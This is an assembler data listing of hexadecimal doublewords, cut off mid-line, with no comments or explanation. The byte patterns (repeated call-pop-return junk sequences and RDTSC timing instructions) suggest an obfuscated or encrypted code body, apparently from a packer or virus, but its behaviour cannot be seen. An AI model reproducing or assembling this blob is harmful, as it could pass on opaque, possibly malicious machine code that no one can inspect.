6031B61h, 0B88689h, 0BB660000h dd 6A2743h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0F3C35040h, 0D278837h, 8820F54h, 57000000h, 21759501h dd 0FF5B0603h, 6A703B5h, 19D8B06h, 8B060326h, 3219DBDh dd 0FD95FF06h, 3106030Ch, 326319Dh, 0AE85006h, 56000000h dd 4B1BC914h, 0BA893D10h, 38B0F29h, 66000000h, 895FD98Bh dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0FBCED0C3h, 64EA1419h, 5CF8166h, 3B5FF7Dh dd 890606A7h, 323A98Dh, 7D95FF06h, 6A06032Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 3FBEC350h, 91F7EC08h, 2B83E48Fh, 30091BDh, 0C9BD8306h dd 60326h, 80840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 7DC276C3h, 8B2A486Ch dd 32EF1BDh, 1890F06h, 0FC000000h, 0DE896h, 6DA80000h dd 9F676B44h, 4EA91D44h, 60E55903h, 310F5250h, 820F585Ah dd 0 aA_pCj db 'a_P',7,'j',0 dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 6D5E01C3h, 9D0BACAAh, 603219Dh, 66C9DB80h, 0B5FFF98Bh dd 606A703h, 0B995FFF5h, 6A060314h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0E6BDC350h dd 0C4BC82D4h, 0FB8B1A0Ah, 2249BD8Bh, 8E90603h, 18000000h dd 2F9F3896h, 0FF405BD9h, 6A703B5h, 58D8906h, 0FF060324h dd 30C9595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0CFD3B4DAh, 8394328Fh, 32D4DBDh dd 840F0206h, 53h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0E8C35343h, 6E9FF160h, 8BED20A5h, 323ED85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 7F2E2140h, 0FE8B3E51h, 660000C6h, 0C7EE46BFh dd 3308185h, 6, 0B870F00h, 60000000h, 2BDFB70Fh, 3004D85h dd 85896106h, 6032311h, 0FFF26FE9h, 8BDD8AFFh, 8DF98BC1h dd 3130985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0C927042Ah, 29C9FC04h, 329B995h dd 0CE99006h, 64000000h, 8338109h, 0AAEABA00h, 50D5CA83h dd 5090D88Ah, 5FDAB70Fh, 6A12B3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 2BC35646h, 4993E6B2h, 68B0Fh dd 0BD010000h, 6030AEDh, 1E39BD29h, 6A0603h, 1B058D29h dd 858D0603h, 607A9BAh, 0BE16BB66h, 0E905C083h, 13h, 71026990h dd 6074895Fh, 3FC2988Dh, 429DDCECh, 90962984h, 10E850h dd 7DE00000h, 2EC73172h, 0E6C08A45h, 1CCC1331h, 5E8D62Bh dd 4A000000h, 4C91E2D6h, 6A905B5Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8376C352h dd 590AFDB6h, 0ED9D8B3Eh, 6A060304h, 85958900h, 6A06030Bh dd 0DEB70F00h, 1DF995FFh, 8D090603h, 6031CF5h, 99338D8Dh dd 95290606h, 603004Dh, 0BD8BD1FFh, 6030B19h, 1D89BD83h dd 0F010603h, 7685h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 43A3F628h, 9D8BF735h dd 6030915h, 0BD8B026Ah, 6031849h, 505B5790h, 28B0Fh, 0F88B0000h dd 89958990h, 0FF060309h, 30CFD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0FA6E9A01h dd 8830F20h, 50000000h, 2E559D8Bh, 0E95B0603h, 0CC2h, 0E8h dd 0ED815D00h, 607A9C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0F5C35747h, 0D521495Dh, 0A99589DBh, 8D060321h dd 6910085h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0A4EFCE7Ch, 0E910EA88h, 12h, 53557036h dd 93E758C9h, 0EA084D78h, 6208B590h, 815752F4h, 0AC05B9E7h dd 0F905F66h, 84h, 9CBB5000h, 902319D6h, 148F0Fh, 8E80000h dd 0B0000000h, 6F29DFB3h, 8BCE3498h, 3204D9Dh, 0FF645F06h dd 35h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 2589646Ch, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1EC35141h dd 0B8255867h, 14E9ED76h, 2B000000h, 44DEE88Bh, 0BA7F7122h dd 88535E4Fh, 98D58CF3h, 0FF6552BAh, 31D0185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 89DBD190h, 2A8AA758h, 55BD8B54h, 6A060326h, 69B5FFFFh dd 8B06030Ch, 31C559Dh, 4D95FF06h, 0E906031Bh, 155h, 5E9h dd 0A1DDB200h, 0B08173h, 10E9h, 556E8F00h, 6E5AA921h, 4F4BC8BAh dd 0AB454959h, 5770E62Fh, 0CE8h, 0ABB7E500h, 7760BE31h dd 5DDE5354h, 61BD8BE4h, 5F060314h, 0BF71E45Fh, 628AAAD2h dd 830F613Ch, 109h, 8BC8B60Fh, 320F59Dh, 6BA06h, 95890000h dd 60305D9h, 8D89C18Bh, 603143Dh, 0DE8h, 0D749EB00h, 0C443050h dd 6C68720Ah, 0EE9F985h, 0D9000000h, 765B778Dh, 2C7336FEh dd 155B2CFEh, 0E8C15BE3h, 999D0104h, 66060315h, 660ED0BBh dd 8589E2F7h, 60330D5h, 0B589C82Bh, 60326E9h, 9589D18Bh dd 6032431h, 6E9h, 39B50900h, 8B06031Bh, 329F585h, 0A800F06h dd 0F000000h, 489h, 12BF6600h, 7C083A0h, 14559589h, 0FE8B0603h dd 8000C083h, 0D03B6FD3h, 0C830Fh, 62E90000h, 0F000000h dd 18Fh, 8D8BF900h, 6031D2Dh, 2D19D01h, 0E1830603h, 46840F01h dd 60000000h, 0EE9DE8Bh, 10000000h, 9D81CBFBh, 733F2FD5h dd 53AF0247h, 0A58361CBh, 6031D2Dh, 5880FFEh, 0BB000000h dd 5E7502F2h, 6800Fh, 0D7810000h, 4722D102h, 29F59589h dd 0BD030603h, 6032561h, 0E9h, 0CDB58D00h, 89060710h, 3293DBDh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 5FB8C357h, 0F0C331B6h, 0FF88D96Ah dd 323A595h, 0BE906h, 0B0E0000h, 7D286FCh, 0AB84962h, 7C4B9B6h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0A9DA9DC3h, 6AFCE183h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E33BC351h dd 8B7C9FCFh, 321F99Dh, 0BF0FFC06h, 0F5C02BD8h, 0BAh, 0E9858900h dd 0AD060320h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 3C0EC352h, 0DAD9D8Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 880DB0C3h, 66000000h dd 0C098CB81h, 20A5958Bh, 85290603h, 6032589h, 11E8h, 93579000h dd 38FA16E8h, 0EB316E73h, 41A00700h, 9D8B9343h, 6032549h dd 658D8B5Bh, 0FC06031Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 9A23B5C3h, 37A17998h, 0EE976h, 95720000h dd 43B6D1C5h, 2458401Eh, 4E2D1D60h, 0BD83FB8Bh, 603210Dh dd 71840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0DDB1C357h, 8589253Eh dd 6030FFDh, 0B8h, 28E0F00h, 8B000000h, 698D8DF9h, 6A06034Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 68C0C356h, 0FE8B66EAh, 0AE8E1FFh, 99000000h dd 0E96CACE8h, 0F60E0B10h, 19BD8B39h, 5F060308h, 71BD83h dd 0F000603h, 43E84h, 5D9D8900h, 83060326h, 30071BDh, 840F0106h dd 446h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0EC35040h, 0BD83F88Bh, 6030071h, 0E5860F03h, 50000003h dd 0DE8B605Fh, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0D29AC353h, 907DDEF3h dd 0AE96FAEh, 75000000h, 21276C42h, 9D9627CBh, 0FA8B6684h dd 0E904E180h, 5, 3956F0FFh, 0FC90A6Eh, 12A84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0FF3C0C56h, 28C5D26Ch, 2DB5BD8Bh, 858B0603h, 60309ADh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B5C35040h dd 0B8125759h, 0D52C608Dh, 598533B8h, 8B06031Ah, 318759Dh dd 0DFBF0F06h, 0B90BBF90h, 90500708h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 12C35545h, 0BE93EDFh, 70000000h dd 64287B95h, 6EA445C8h, 6A3C9Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 24C35343h, 0C4710C68h, 81FB8BE9h dd 92F32404h, 0F60165Ah, 5E52F3B7h, 7195FF61h, 8906032Eh dd 6A70385h, 0E9F56006h, 14h, 0A6172511h, 428F5F47h, 1C79BD8Eh dd 0CE01CC06h, 5A77361Ah, 232E961h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E31A9DC3h dd 0AD8F501Ch, 8E943EAh, 35000000h, 0E0089377h, 8B2708E0h dd 6A6FB85h, 0DA8B6606h, 1800C7h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 2931F4C3h dd 30F01B5h, 0FFB58B06h, 8B0606A6h, 31F8985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89BEC291h, 0BC10BB06h, 858B6A04h, 60309ADh, 0CE9h, 897F1600h dd 8B77BD54h, 0A8E6F944h, 446897Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0AC35545h, 12A11AABh, 0DEBF0F12h dd 12E96050h, 7A000000h, 0B96C9C7Eh, 2F11D9E5h, 87A8323Bh dd 0B91FB86h, 0EE96079h, 8000000h, 0A6075686h, 21AB2B7h dd 5A8E6984h, 615B578Dh, 24348961h, 5850Fh, 81660000h dd 0FFDB36CBh, 6A6FBB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 64F45C7Fh, 0C4C406E4h dd 6B3F68F5h, 52501231h, 0A478B0BFh, 5A310F6Ch, 24348158h dd 122E68C0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0B2C35141h, 8E9h, 0FF861300h, 8C7EEA76h, 3858D76h dd 6A0606A7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0CFE8C357h, 0B20379CAh, 0F8AC0A2Eh dd 14E95690h, 4E000000h, 38E119h, 3B18EE0Ah, 2D533925h dd 8045DCB4h, 5BC1BE20h, 0FB66050h, 157BBA60h, 11E94A80h dd 52000000h, 57458DE7h, 0A3A12D6Eh, 0A9046414h, 81E81427h dd 6A906161h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 159CC351h, 0B529AD3Eh, 603195Dh dd 2E7195FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0EB73A3C3h, 0F98BB68Ah, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD3325F5h, 6032949h, 7185C7h, 30603h, 9D330000h, 60302C9h dd 0A703BD83h, 0F000606h, 2784h, 13E800h, 5F5B0000h, 0DA4E0E33h dd 8BC547FCh, 582FF72h, 21CED6CEh, 6D9589ACh, 5B060319h dd 1EE9h, 0C9E38000h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6F6DC350h, 10F976DCh, 943DFD3Bh, 3018589h, 11E80603h dd 1E000000h, 0FF17549Bh, 92804791h, 72B00C2Ah, 0E6A774A6h dd 0D178EB81h, 8A5F3035h, 71BD83F8h, 3060300h, 338850Fh dd 0F530000h, 686h, 8B0F00h, 5F000000h, 0A703BD83h, 0F000606h dd 31D84h, 91BD0B00h, 0FF060321h, 6A703B5h, 0E9BD8B06h dd 0FF060304h, 32A7595h, 0F7B58B06h, 0C70606A6h, 1000106h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0A69C1839h, 0FB8B96CEh, 0C18B6050h, 0FEE8A60h dd 88h, 96616100h, 17A98589h, 0B5FF0603h, 606A703h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 54FEA495h dd 0B8DA0248h, 2D298529h, 9D890603h, 6032149h, 244995FFh dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 816600C3h, 8BB635C3h, 6A6F7B5h, 68D0F06h dd 31000000h, 31A1DB5h, 31858B06h, 53060331h, 8AC4DB81h dd 815F168Eh, 493360F3h, 0C4868953h, 8B000000h, 314B19Dh dd 0A5958B06h, 83060320h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0A8C983C3h, 0CE904h dd 3DCB0000h, 0D137B2C2h, 10365DD0h, 9D8BE23Eh, 6031DF5h dd 66205089h, 8D6C62BBh, 6BB1685h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 7B2E251Eh dd 0D1C3818Bh, 8905E58Bh, 0B886h, 59BD8B00h, 6606030Eh dd 6AFA8Bh, 10E9h, 0B09BFA00h, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h dd 0FFB3B3ECh, 6A703B5h, 51DF8B06h, 0EF78166h, 95FF5B5Dh dd 6030CFDh, 1AF9B531h, 52500603h, 2434895Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E9C35646h, 9D8BF1A6h dd 6030E75h, 0A703B5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 25A95C3h, 7C34D644h dd 0FFDF8B2Eh, 32E7D95h, 0D5B58906h, 83060304h, 326C9BDh dd 840F0006h, 3Ah, 6050FA8Bh, 5E951h, 0E0820000h, 5F28879Ah dd 24348961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0ADC35747h, 0F28B4569h, 0E7D9D89h, 0B5FF0603h dd 606A703h, 2C9AEF81h, 95FF5841h, 60314B9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 47C35141h, 0BCB3BF91h dd 8555EA87h, 20118D89h, 0B5FF0603h, 606A703h, 0C4DBD89h dd 95FF0603h, 6030C95h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 4EC35242h, 1DC679E7h, 4CEB81A3h, 837247D5h dd 32D4DBDh, 840F0206h, 42h, 2609BD89h, 858B0603h, 60323EDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 31C35242h dd 664492E2h, 5FD54D9Fh, 0F1BD89CDh, 0B7060315h, 0C68Dh dd 242DBD8Bh, 85C70603h, 6033081h, 0 dd 2FA18589h, 88E90603h, 66FFFFF4h, 8B18DABFh, 8E9C1h dd 0B3DB0000h, 0ACB00618h, 858D80D4h, 6031309h, 8480BF66h dd 50D98B90h, 90DF8B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 81C35646h, 0E9BD8901h, 6A06031Ah, 7E900h dd 0FAA10000h, 6A349469h, 6A006A35h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9479C352h dd 1FB37044h, 858D13E3h, 607B8A6h, 7E8h, 0D8679E00h, 0E03A0CD4h dd 68E38166h, 0C0835B24h, 0FABF0F05h, 0EE8h, 0C59F6E00h dd 0E7AA5693h, 7B7A9895h, 60EEAF67h, 8A0Fh, 858B0000h dd 6031BD9h, 0E9505B61h, 9, 0EB92731Ch, 0C0AC3C6Bh, 24048928h dd 108F0Fh, 7E80000h, 1E000000h, 0E46E1C21h, 0E7801370h dd 6A5BD1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0EC35747h, 6A006ADEh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0E5C0C350h, 95FF7C6Ah dd 6031DF9h, 1E8F0Fh, 13E80000h, 0C4000000h, 13B0F3ECh dd 0D25875Dh, 0EFACF9DAh, 414662B2h, 81663AA9h, 5BFAAEDFh dd 99338D8Dh, 8B0F0606h, 0Ch, 6830Fh, 0BD890000h, 6032441h dd 0FFF8B70Fh, 0C59D8BD1h, 8306030Dh, 31D89BDh, 850F0106h dd 0BBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0DFC35343h, 8C1DB9F4h, 7D76C8DFh, 32DF8166h, 0FC026A54h dd 14E890h, 89F40000h, 0FAFAC8C3h, 73B7BD14h, 7FB11B5Fh dd 0CEDCA7FAh, 0E8600A0Fh, 13h, 0FA68F091h, 8074699Ah dd 370F11B9h, 0B8CA0C84h, 5E0BF395h, 0FAC5B966h, 60505F61h dd 0DE9h, 8BC31200h, 90737A60h, 18E28784h, 0C58A623Fh dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0C4F872C3h, 0DF8BF2C6h, 0CFD95FFh, 9E80603h dd 0A1000000h, 3C924AA4h, 73E2D805h, 0CE19D23h, 0E95B0603h dd 0CBFh, 0E8h, 0ED815D00h, 607B8B0h, 12E99D8Bh, 95290603h dd 6031869h, 858D51B7h, 6069100h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 81C35747h, 90F9BCADh, 0F504DB7h dd 128Eh, 0DE900h, 4F080000h, 196F503Ch, 52B355D0h, 90E6A644h dd 0FDEB8166h, 35FF649Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 60C35343h dd 8E613933h, 5FCFA322h, 258964h, 8B000000h, 185FFDFh dd 0F06031Dh, 68Dh, 0B99D0B00h, 6606032Dh, 6AD4B6BFh, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0FFCEA574h, 31CA9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0DCABF4E1h, 0BF0F5F12h dd 4D95FFFEh, 0E906031Bh, 134h, 816000B0h, 8A0DD5D7h, 6D9D2920h dd 61060323h, 2D21B589h, 70E60603h, 0E4F8BF0Fh, 13E971h dd 0BF4C0000h, 8C0D6FC4h, 0BF10BDAFh, 272ED978h, 0C93E9943h dd 0F613C9Dh, 0F783h, 0C8B60F00h, 0EE9h, 32325500h, 60183D19h dd 78CACCC1h, 575FB2BAh, 29B18D31h, 0BA5B0603h, 6, 0E927BF66h dd 2AD59D8Bh, 0C18B0603h, 10E8h, 0DE342800h, 46C620F8h dd 3C40226Dh, 0F28597D3h, 852960D8h, 6030FD1h, 5F615B56h dd 2904E8C1h, 31A8D9Dh, 0E2F76606h, 0D781C82Bh, 30109ABBh dd 8D0FD18Bh, 6, 8A43CF81h, 81E958EEh, 0F000000h, 858BDEBFh dd 8, 83FFBF0Fh, 9D8B07C0h, 60320C9h, 8B00C083h, 0FD03BDAh dd 1D83h, 81BD8B00h, 81060300h, 4A33D9F7h, 4EE94Ch, 880F0000h dd 6, 69D9D29h, 8D8B0603h, 0FFFFFFFFh, 1800Fh, 83F50000h dd 840F01E1h, 2Ch, 9DBD8957h, 5B060313h, 0FFFFA583h, 8BFEFFFFh dd 324399Dh, 8958906h, 0F000000h, 687h, 0F59D8B00h, 0E906030Bh dd 0 dd 37D0B58Dh, 9D8B0607h, 6031305h, 0B589006Ah, 6031C51h dd 23A595FFh, 0BD8B0603h, 60324CDh, 0FC1B9h, 0D8B70F00h dd 89FCE183h, 32FA985h, 48BBFC06h, 0B8502C6Ch, 0 dd 4BD78166h, 6AD22B1Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 589C355h, 0FA68F83h dd 3344BB72h, 32151BDh, 0C3816606h, 0F7812213h, 75C38FBDh dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6F99D8Bh, 0B5090603h dd 60330F9h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8F0F4158h, 3, 8BFEBF0Fh dd 320A595h, 0DE8B6606h, 1A658D8Bh, 0FE8A0603h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 10E95818h, 77000000h dd 0D9BFB729h, 2CD9968Bh, 4BFD51FCh, 0F7A2562h, 683h, 0F99D8900h dd 8306032Bh, 3210DBDh, 840F0006h, 7Fh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 32C35242h, 8258FEC0h dd 8BA4DF18h, 32C51BDh, 0B806h, 95290000h, 6032119h, 4D698D8Dh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0C3F3EDC3h, 1CD14BBAh, 0BD099CFEh, 60315D9h dd 0F88BE1FFh, 12E9h, 0D84E600h, 816DFF43h, 714218AFh dd 3F5BEE9Fh, 83C3BBCFh, 30071BDh, 840F0006h, 4B4h, 0BDD9BF66h dd 735BD8Bh, 0BD830603h, 6030071h, 0B8840F01h, 8B000004h dd 329CD9Dh, 71BD8306h, 3060300h, 46F860Fh, 6A600000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 8E6CC357h, 58E0Fh, 0EBB0000h, 0BB147382h dd 393C362Ah, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0D40EC356h, 172DB589h dd 0E1800603h, 0DE904h, 2E880000h, 0B1A956E0h, 5E67F41Dh dd 0E94A5B7Bh, 7, 636F7A64h, 0A4876ADh, 93840FC9h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0C06BC351h, 8D6116B1h, 0D3B008Fh, 5D9D0152h dd 5B060329h, 8BD8BF0Fh, 309AD85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 1EEEB8EDh dd 143D9D8Bh, 85330603h, 6031A59h, 11870Fh, 8E0F0000h dd 0Bh, 5E8h, 0DAAFB300h, 505B47A3h, 52505250h, 310F6160h dd 5E9h, 0DBD8F400h, 585A03A6h, 0E2BB310Fh, 5A4C0242h dd 24048958h, 6AF98Bh, 0D250BB66h, 4E8h, 1F03FF00h, 9DBB6600h dd 11E950A3h, 93000000h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h dd 3929B19Dh, 424448Bh, 60DA8B60h, 525002B2h, 585A310Fh dd 8B6161h, 38C0F56h, 66000000h, 895FDE8Bh, 0E8042444h dd 0Dh, 3C99616Ah, 0BA58C6FAh, 0E171D12h, 5052500Ah, 5A310F52h dd 52310F58h, 5B585A5Bh, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 8764B514h, 0CF816602h dd 8D8979BDh, 60322C1h, 2E7195FFh, 6E90603h, 0FD000000h dd 50994D9Bh, 38589E2h, 6A0606A7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A47BC350h dd 316BAE54h, 3865897Eh, 219DBD89h, 31570603h, 30D05B5h dd 0C4E95F06h, 0E9000001h, 0Ah, 0C413C97Ch, 21BBA73h, 858B073Bh dd 606A6FBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 3EC35141h, 857FC258h, 10B2252Ah, 23F18589h, 0C70603h dd 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 4CC35242h, 0BD0B6EE3h, 60332C5h, 0A6FFB58Bh, 6A0606h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 833C90C3h, 480B5AB4h, 719D0183h, 8B06030Ch, 31F8985h dd 689FC06h, 54C78166h, 0AD858B03h, 8B060309h, 44689F9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1FC35646h dd 40379BCFh, 89394D3Bh, 312E9BDh, 0E8535006h, 0Ah, 673768A3h dd 0FD80986Bh, 0EE839E4h, 94000000h, 98FB9FA4h, 8D7CE9F0h dd 881A20FCh, 5F5F5F30h, 6A243489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4845C355h dd 0BBF3810Dh, 0FF38F683h, 6A6FBB5h, 38BB6606h, 426A6876h dd 0DF8BB7F0h, 95240481h, 0E8482EC1h, 0Eh, 0E72A8FB7h dd 4F0CD715h, 5646B110h, 0CCB7FDC7h, 3858D5Bh, 6A0606A7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 8B9DC355h, 2CD0DAAAh, 0F0634425h, 6880Fh dd 85890000h, 6032C21h, 898FB750h, 800F2404h, 5, 0CBF38166h dd 0FFFA8B90h, 32E7195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 6115D9E1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 2C35040h, 0F3C8B28Dh dd 5D1B24Ch, 7185C71Bh, 3060300h, 89000000h, 31C0D9Dh dd 3BD8306h, 606A7h, 67840Fh, 6E80000h, 98000000h, 661CD9E6h dd 10E867h, 0B00D0000h, 7A9A75ADh, 51B940C5h, 4E7B0310h dd 0D88B807Dh, 59E95F5Bh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 164C356h dd 0EBB6C36h, 1297AA26h, 14E9h, 7A46CD00h, 0A36E7519h dd 33712E7Bh, 0FC4DFF8h, 0C35979A0h, 0C305018h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 6ADEBF0Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 6344C351h, 8A24CAF0h, 2D299D8Bh, 0BD830603h, 6030071h dd 0BD850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 82ADC353h, 0B37F40DBh dd 0BB66EEFCh, 0BD838FC7h, 606A703h, 89840F00h, 0FF000003h dd 6A703B5h, 3FBF6606h, 7595FF45h, 6A06032Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0CC6EC350h, 8DD8E669h, 81AE4900h, 0D2F2F1DFh, 0F7B58B5Eh dd 8B0606A6h, 302C19Dh, 106C706h, 0E9000100h, 0Bh, 2FE09D9Ah dd 2FB1EBD0h, 964CCE5Bh, 6E850h, 29C40000h, 0D0F47D6h dd 428AFABFh, 6A965F74h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0B9DC353h, 39FE03E5h dd 0B5FF0706h, 606A703h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 76C35141h, 62CDC3FCh, 4995FF87h, 80060324h dd 0B58BB8EFh, 606A6F7h, 8BD98B66h, 3313185h, 59858906h dd 89060306h, 0C486h, 6820F00h, 89000000h, 3209D8Dh, 0A5958B06h dd 89060320h, 307D18Dh, 4C28306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 79C35646h, 10D0EE32h, 0B9A621C8h dd 5089F5CFh, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8BA64BD1h, 659D8BFAh, 8D06031Dh dd 6BB1685h dd 0B8868906h, 0E9000000h, 5, 65C01F5Ah, 6AF8B9h, 12E9h dd 0C185C400h, 0FAC9D53Fh, 